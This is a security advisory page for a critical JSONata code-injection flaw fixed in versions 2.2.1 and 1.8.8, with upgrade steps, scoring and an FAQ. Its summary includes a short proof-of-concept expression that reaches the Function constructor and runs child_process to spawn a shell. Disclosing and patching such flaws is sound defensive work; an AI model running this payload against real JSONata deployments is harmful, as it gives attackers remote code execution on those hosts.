CVE-2026-77414

CRITICAL

JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions

Published August 21, 2026Updated August 21, 2026Source: osv

Summary

Before JSONata `2.2.1` and `1.8.8` it was possible to execute arbitrary code with crafted expressions, due to a bypassable `hasOwnProperty` check in `environment.lookup` https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871 This was fixed in https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865) which is included in the `2.2.1` release, and then back-ported to the `1.8.8` release. ## PoC ```js import jsonata from "jsonata"; const expression = jsonata(` ( $hasOwnProperty := $spread($string); $__proto__ := $constructor; $constructor("return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")(); )`); await expression.evaluate({}); ```

Remediation

Upgrade to the fixed version using your package manager.

npm

Update jsonata to 2.2.1 or later

npm install jsonata@2.2.1

npm

Update jsonata to 1.8.8 or later

npm install jsonata@1.8.8

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (2)

Package	Ecosystem	Affected	Fixed In
jsonata	npm	All versions	2.2.1
jsonata	npm	All versions	1.8.8

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CWE-94
Code InjectionMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

None

Scope

—

Confidentiality

—

Integrity

—

Availability

—

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

Frequently Asked Questions

What is CVE-2026-77414?: JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
How do I check if my project is affected by CVE-2026-77414?: CVE-2026-77414 affects jsonata. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-77414 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score

9.8

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-2943-5xfg-gq5f

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